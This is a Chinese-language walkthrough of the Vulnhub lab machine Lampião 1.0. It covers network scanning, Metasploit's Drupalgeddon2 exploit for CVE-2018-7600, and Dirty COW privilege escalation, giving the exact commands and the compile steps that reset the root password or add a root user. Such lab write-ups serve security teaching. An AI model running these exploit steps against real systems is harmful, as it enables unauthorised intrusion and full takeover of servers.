Vulnhub靶机系列:Lampião 1.0

0x00 准备

靶机下载: https://www.vulnhub.com/entry/lampiao-1,249/

双击ovf文件,导入到Vmware中,选择NAT模式

Kali:192.168.194.192

0x01 利用知识及工具

nmap、netdiscover、脏牛提权、metasploit

0x02 测试

首先netdiscover扫描同一C段:netdiscover -i eth0 -r 192.168.194.1/24,找到目标机器IP:192.168.194.144.

利用nmap的TCP半开放扫描,对网站端口进行快速探测,nmap -sS -p 1-65535 192.168.194.144,该扫描方式因为它不打开一个完全的TCP连接,所以是使用频率最高的扫描方式。扫描结果发现开放22、80、1898端口

访问Web页面(80端口),仔细检查后没得到敏感信息,再次访问1898端口访问到正确的Web页面,在结尾看到cms是Drupal

想到CVE-2018-7600,利用msf打一波,msfconsole进入,search drupal,选择2018年的这个。

use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.194.144
set rport 1898
set target 0
run

成功拿到session会话,输入shell进入shell终端,再利用python获得一个TTY终端

python -c 'import pty; pty.spawn("/bin/bash")' ,发现是www-data权限。

接下来进行提权,首先查看下内核版本:uname -a

看到版本较高,但有可能存在 CVE-2016-5195 ,也就是脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 。黑客可通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统

意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞

在Kali中自带脏牛的脚本文件,新开一个终端【Ctrl】+【Shift】+【T】输入searchsploit dirty,找到需要的文件路径。

返回取得Shell的终端,按【Ctrl】+【C】返回meterpreter的session会话上传cpp文件到/tmp目录下,因为该目录一般是所有用户都具有可读可写权限

upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp

上传后再进入TTY的终端下,对cpp文件进行编译。

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

1-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4-std=c++11就是用按C++2011标准来编译的
5-pthread 在Linux中要用到多线程时,需要链接pthread库
6-o dcow gcc生成的目标文件,名字为dcow

再运行编译后文件并将结果输出到一个文本中./dcow > status.txt

可以看到重置了Root用户的密码为:dirtyCowFun

最后ssh连接以Root用户身份登录。

但是网上常用的是c文件所编译的,该文件依然在Kali中可以找到,该c文件编译后执行的结果将将新增一个root权限的用户,并增加一个对应密码。

接下来上传,进行编译,步骤同上。

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40839.c /tmp

www-data@lampiao:/tmp$ gcc -pthread 40839.c -o dirty -lcrypt

执行编译后文件进行提权./dirty password(新增的root用户的密码可自定义)

运行完毕后,看到给出了一个具有root用户权限的用户名“firefart”和我们自定义的密码“password”,再开一个终端尝试进行ssh连接。

可以看到第二个执行的c文件编译程序后新增了一个root权限的用户firefart,并在/etc/passwd中可以看到。

发表评论

电子邮件地址不会被公开。 必填项已用*标注